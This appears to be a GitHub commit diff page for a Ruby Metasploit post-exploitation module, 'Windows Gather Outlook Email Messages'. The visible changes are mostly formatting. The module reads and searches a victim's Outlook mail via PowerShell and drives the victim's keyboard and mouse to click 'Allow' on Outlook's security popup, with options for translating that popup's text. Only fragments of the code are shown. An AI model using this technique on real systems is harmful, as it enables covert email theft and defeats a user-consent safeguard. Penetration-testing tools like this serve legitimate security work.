You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
20
-
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
['SEARCH',{'Description'=>'Searches for an email'}]
31
-
],
32
-
'DefaultAction'=>'LIST'
33
-
))
34
-
35
-
register_options(
36
-
[
37
-
OptString.new('FOLDER',[false,'The e-mailfolder to read (e.g. Inbox)']),
38
-
OptString.new('KEYWORD',[false,'Search e-mails by the keyword specified here']),
39
-
OptString.new('A_TRANSLATION',[false,'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.']),
40
-
OptString.new('ACF_TRANSLATION',[false,'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.']),
17
+
'Name'=>'Windows Gather Outlook Email Messages',
18
+
'Description'=>%q{
19
+
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
20
+
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
['SEARCH',{'Description'=>'Searches for an email'}]
31
+
],
32
+
'DefaultAction'=>'LIST'
33
+
))
34
+
35
+
register_options(
36
+
[
37
+
OptString.new('FOLDER',[false,'The e-mailfolder to read (e.g. Inbox)']),
38
+
OptString.new('KEYWORD',[false,'Search e-mails by the keyword specified here']),
39
+
OptString.new('A_TRANSLATION',[false,'Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.']),
40
+
OptString.new('ACF_TRANSLATION',[false,'Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.']),
41
41
],self.class)
42
42
end
43
43
44
-
deflistBoxes
45
-
# This function prints a listing of available mailbox folders
fail_with(Failure::Unknown,"System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
162
-
end
112
+
iflangNotSupported == true
113
+
fail_with(Failure::Unknown,"System language not supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
114
+
end
163
115
end
164
116
165
117
# Outlook installed
@@ -176,9 +128,9 @@ def run
176
128
177
129
# Powershell installed check
178
130
ifhave_powershell?
179
-
print_good("Powershell is installed.")
131
+
print_good("Powershell is installed.")
180
132
else
181
-
fail_with(Failure::Unknown,"Powershell is not installed")
133
+
fail_with(Failure::Unknown,"Powershell is not installed")
0 commit comments